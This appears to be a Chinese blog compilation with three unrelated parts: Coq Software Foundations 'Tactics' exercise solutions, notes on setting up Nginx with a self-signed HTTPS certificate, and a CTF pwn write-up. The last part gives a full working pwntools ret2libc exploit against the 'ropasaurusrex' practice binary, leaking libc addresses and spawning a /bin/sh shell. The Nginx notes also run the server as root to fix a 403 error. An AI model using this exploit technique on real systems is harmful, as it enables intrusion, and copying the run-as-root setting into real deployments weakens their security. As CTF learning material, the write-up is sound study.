0%

Tactics(上)

在写SF练习答案的时候顺便水点博客
答案只能保证正确,不保证是最简单的
不写主观题

练习:2 星, standard, optional (silly_ex)

1
2
3
4
5
6
7
Theorem silly_ex :
(forall n, evenb n = true -> oddb (S n) = true) ->
evenb 4 = true ->
oddb 3 = true.
Proof.
intros eq1 eq2.
apply eq1. apply eq2. Qed.

练习:3 星, standard (apply_exercise1)

1
2
3
4
5
6
7
8
9
10
11
12
Theorem rev_exercise1 : forall (l l' : list nat),
l = rev l' ->
l' = rev l.
Proof.
intros l l' eq1.
rewrite -> eq1.
Search rev.
symmetry.
apply (rev_involutive nat).
(* rev_involutive:
forall (X : Type) (l : list X), rev (rev l) = l *)
Qed.

上文第9行的 nat 可加可不加,coq 可以自动推断 Type 是 nat。

练习:3 星, standard, optional (apply_with_exercise)

1
2
3
4
5
6
7
8
Example trans_eq_exercise : forall (n m o p : nat),
m = (minustwo o) ->
(n + p) = m ->
(n + p) = (minustwo o).
Proof.
intros n m o p eq1 eq2.
apply trans_eq with (m).
apply eq2. apply eq1. Qed.

练习:3 星, standard (injection_ex3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Example injection_ex3 : forall (X : Type) (x y z : X) (l j : list X),
x :: y :: l = z :: j ->
j = z :: l ->
x = y.
Proof.
intros X x y z l j.
intros H1 H2.
injection H1 as H1' H1''.
rewrite H1'.
rewrite <- H1'' in H2.
injection H2 as H2'.
symmetry.
apply H2'.
Qed.

另一种实现(使用apply with(实际上写起来没什么差别):

1
2
3
4
5
6
7
8
9
10
11
12
13
Example injection_ex3 : forall (X : Type) (x y z : X) (l j : list X),
x :: y :: l = z :: j ->
j = z :: l ->
x = y.
Proof.
intros X x y z l j.
intros H1 H2.
injection H1 as H1' H1''.
rewrite <- H1'' in H2.
injection H2 as H2'.
apply trans_eq with (z).
apply H1'. symmetry. apply H2'.
Qed.

练习:1 星, standard (discriminate_ex3)

1
2
3
4
5
6
7
8
9
Example discriminate_ex3 :
forall (X : Type) (x y z : X) (l j : list X),
x :: y :: l = [] ->
x = z.
Proof.
intros X x y z l j.
intros H.
discriminate H.
Qed.

练习:2 星, standard (eqb_true)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Theorem eqb_true : forall n m,
n =? m = true -> n = m.
Proof.
intros n.
induction n as [].
- destruct m as[].
++ reflexivity.
++ discriminate.
- destruct m as[|m'].
++ discriminate.
++ intros H.
f_equal.
simpl in H.
apply IHn in H.
apply H.
Qed.

主要是我一开始没看懂上面例题在做什么,intros m n 之后最后一个结论证不出来,应该只intro n,之后 m 是 forall m,所以可以随意取值(应该是这个道理?)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Theorem plus_n_n_injective : forall n m,
n + n = m + m ->
n = m.
Proof.
intros n. induction n as [| n'].
- destruct m as[].
simpl. reflexivity.
discriminate.
- destruct m as[].
discriminate.
intros eq.
simpl in eq.
apply S_injective' in eq.
rewrite <-plus_n_Sm in eq.
rewrite <-plus_n_Sm in eq.
apply S_injective' in eq.
f_equal.
apply IHn' in eq.
apply eq.
Qed.

主要就是使用前面的S_injective证明 Sn 单射之后把 S (n' + S n') 转化为 n' + S n' 再用 plus_n_Sm 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Theorem nth_error_after_last: forall (n : nat) (X : Type) (l : list X),
length l = n ->
nth_error l n = None.
Proof.
intros n X l.
generalize dependent l.
induction n as [].
- destruct l.
reflexivity.
discriminate.
- destruct l.
discriminate.
intros H.
simpl.
simpl in H.
apply S_injective in H.
apply IHn in H.
apply H.
Qed.

练习:3 星, standard, optional (combine_split)

这个是直接抄的群友的答案,,,主要就是没想到destruct结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Theorem combine_split : forall X Y (l : list (X * Y)) l1 l2,
split l = (l1, l2) ->
combine l1 l2 = l.
Proof.
intros X Y l.
unfold combine.
induction l as [| n l' IHl'].
- simpl. intros.
injection H as H1 H2.
rewrite <- H1.
reflexivity.
- simpl. intros.
destruct n as [x y].
destruct (split l') as [lx ly].
injection H as H1 H2.
rewrite <- H1.
rewrite <- H2.
f_equal.
apply IHl'.
reflexivity.
Qed.

练习:2 星, standard (destruct_eqn_practice)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Theorem bool_fn_applied_thrice :
forall (f : bool -> bool) (b : bool),
f (f (f b)) = f b.
Proof.
intros.
destruct b eqn:Eb.
-destruct (f b) eqn:Efb.
--rewrite Eb in Efb.
rewrite Efb.
rewrite Efb.
apply Efb.
--rewrite Eb in Efb.
rewrite Efb.
destruct (f false) eqn:Eft.
+ apply Efb.
+ apply Eft.
-destruct (f b) eqn:Efb.
--rewrite Eb in Efb.
rewrite Efb.
destruct (f true) eqn:Eft.
+ apply Eft.
+ apply Efb.
--rewrite Eb in Efb.
rewrite Efb.
rewrite Efb.
apply Efb.
Qed.

这题对我来说有个大坑,即应用f_equal tactics 时并不会判断函数是否是单射函数(现在想想也正常,coq应该做不到判断函数单射?),如果无脑用的话然后就会出现要求证明 false = true 😂

因为项目原因所以要在某国产麒麟 OS 装 Nginx 配 HTTPS 环境显示界面。要显示的界面是另一个老师用 Vue,Node.js 等做的,不是很懂,最后要显示的是用 Webpack 打包的一个静态界面。(在虚拟机里装的麒麟 OS ,不知道是我电脑的问题还是软件问题虚拟机时常会卡死)

首先安装 Nginx,无脑 apt 一把梭

1
2
3
4
sudo apt install ngnix
sudo apt install nginx
sudo systemctl status nginx
sudo systemctl enable nginx

然后 nginx.conf 瞎配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# Generated by nginxconfig.io
# See nginxconfig.txt for the configuration share link

user root;
pid /run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 65535;

# Load modules
include /etc/nginx/modules-enabled/*.conf;

events {
multi_accept on;
worker_connections 65535;
}

http {
charset utf-8;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
server_tokens off;
log_not_found off;
types_hash_max_size 2048;
types_hash_bucket_size 64;
client_max_body_size 16M;

# MIME
include mime.types;
default_type application/octet-stream;

# Logging
access_log off;
error_log /dev/null;

# SSL
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;

# Diffie-Hellman parameter for DHE ciphersuites
ssl_dhparam /etc/nginx/dhparam.pem;

# Mozilla Intermediate configuration
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;

# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
resolver 1.1.1.1 1.0.0.1 8.8.8.8 8.8.4.4 208.67.222.222 208.67.220.220 valid=60s;
resolver_timeout 2s;

# Connection header for WebSocket reverse proxy
map $http_upgrade $connection_upgrade {
default upgrade;
"" close;
}

map $remote_addr $proxy_forwarded_elem {

# IPv4 addresses can be sent as-is
~^[0-9.]+$ "for=$remote_addr";

# IPv6 addresses need to be bracketed and quoted
~^[0-9A-Fa-f:.]+$ "for=\"[$remote_addr]\"";

# Unix domain socket names cannot be represented in RFC 7239 syntax
default "for=unknown";
}

map $http_forwarded $proxy_add_forwarded {

# If the incoming Forwarded header is syntactically valid, append to it
"~^(,[ \\t]*)*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*([ \\t]*,([ \\t]*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*)?)*$" "$http_forwarded, $proxy_forwarded_elem";

# Otherwise, replace it
default "$proxy_forwarded_elem";
}

# Load configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

拿 openssl 自签证书和密钥

1
2
3
4
openssl genrsa -des3 -out server.pass.key 2048
openssl rsa -in server.pass.key -out server.key
openssl req -new -key server.key -out server.csr -subj "/C=CN/ST=Shanghai/L=Shanghai/O=cetc/OU=cetc/CN=gitlab.cetc.cn"
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

然后 /sites-enabled/default 瞎配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

server{
listen 443;
server_name localhost;
ssl on;
ssl_certificate /etc/nginx/keys/server.crt;
ssl_certificate_key /etc/nginx/keys/server.key;
}
server {
listen 80 default_server;
listen [::]:80 default_server;

# SSL configuration
#
# listen 443 ssl default_server;
# listen [::]:443 ssl default_server;
#
# Note: You should disable gzip for SSL traffic.
# See: https://bugs.debian.org/773332
#
# Read up on ssl_ciphers to ensure a secure configuration.
# See: https://bugs.debian.org/765782
#
# Self signed certs generated by the ssl-cert package
# Don't use them in a production server!
#
# include snippets/snakeoil.conf;

root /var/www/html;

# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;

server_name _;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}

# pass PHP scripts to FastCGI server
#
#location ~ \.php$ {
# include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
#}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}

然后起服务,发现 403 forbidden,把 nginx.conf 第五行从 user xxxx 改成 user root 即可(root 权限关我锤子事,反正又不在我电脑上部署)

跟随CTF-WIKI进行一个pwn的学

首先对二进制文件进行分析

32位i386小端序,开启了栈不可执行保护,符号表还被stripped了

Untitled

直接扔进 IDA 看一眼,整体十分地简洁

Untitled

点开 sub_80483F4(),其中给 buf 分配了136的空间,读长度是256,存在栈溢出的可能

Untitled

可执行文件中没有 system() 函数地址,考虑使用 ret2libc,先将 libc 中符号地址泄露出来,再通过 libc search 查找相应的动态链接库。

可供对比地址查找的函数:__libc_start_main(),write(),read()

之后的问题是,如何将函数地址输出?答案是使用 write() 函数。

根据 ChatGPT(大嘘)和 Compile Explorer,使用 write() 向 stdout 输出的结构是这样的。当第一个参数设置为1时, write() 会向 stdout 写入,后面分别是消息与消息长度

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import LibcSearcher

#sh = gdb.debug("./ropasaurusrex")
sh = process("./ropasaurusrex")
r = ELF("./ropasaurusrex")

write_plt = r.plt['write']
libc_start_main_got = r.got['__libc_start_main']
#main = r.symbols['main']

payload = flat(['b'*140,write_plt,'a'*4,p32(1),libc_start_main_got,p32(20)])
print(payload)
print(hex(write_plt),hex(libc_start_main_got))
sh.sendline(payload)
libc_start_main_addr = u32(sh.recv()[0:4])
print(hex(libc_start_main_addr))

运行后结果如下,0xf7d0cde0 是 __libc_start_main 的地址

Untitled

payload 这么构造会导致一个问题,如下图所示

Untitled

write() 函数执行完成后,ret 时 $esp 指向 aaaa,即 payload 中第三项的值,那么,要返回什么呢?尝试一下返回 main 的符号?然而并没有 main

Untitled

还记得上文说的函数 sub_80483F4() 吗?我们可以尝试返回它的地址,之后程序可以重复执行。

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import LibcSearcher

sh = gdb.debug("./ropasaurusrex")
#sh = process("./ropasaurusrex")
r = ELF("./ropasaurusrex")

write_plt = r.plt['write']
libc_start_main_got = r.got['__libc_start_main']
read_got = r.got['read']

#获取 __libc_start_main 的地址
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),libc_start_main_got,p32(20)])
sh.sendline(payload)
libc_start_main_addr = u32(sh.recv()[0:4])

#获取 read 的地址
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),read_got,p32(20)])
sh.sendline(payload)
read_addr = u32(sh.recv()[0:4])

#通过 __libc_start_main 和 read 的地址查找相应动态链接库
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc.add_condition("read", read_addr)

# 计算基地址和偏移地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

#构造system('/bin/sh/')
payload = flat(['b' * 140, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()

Untitled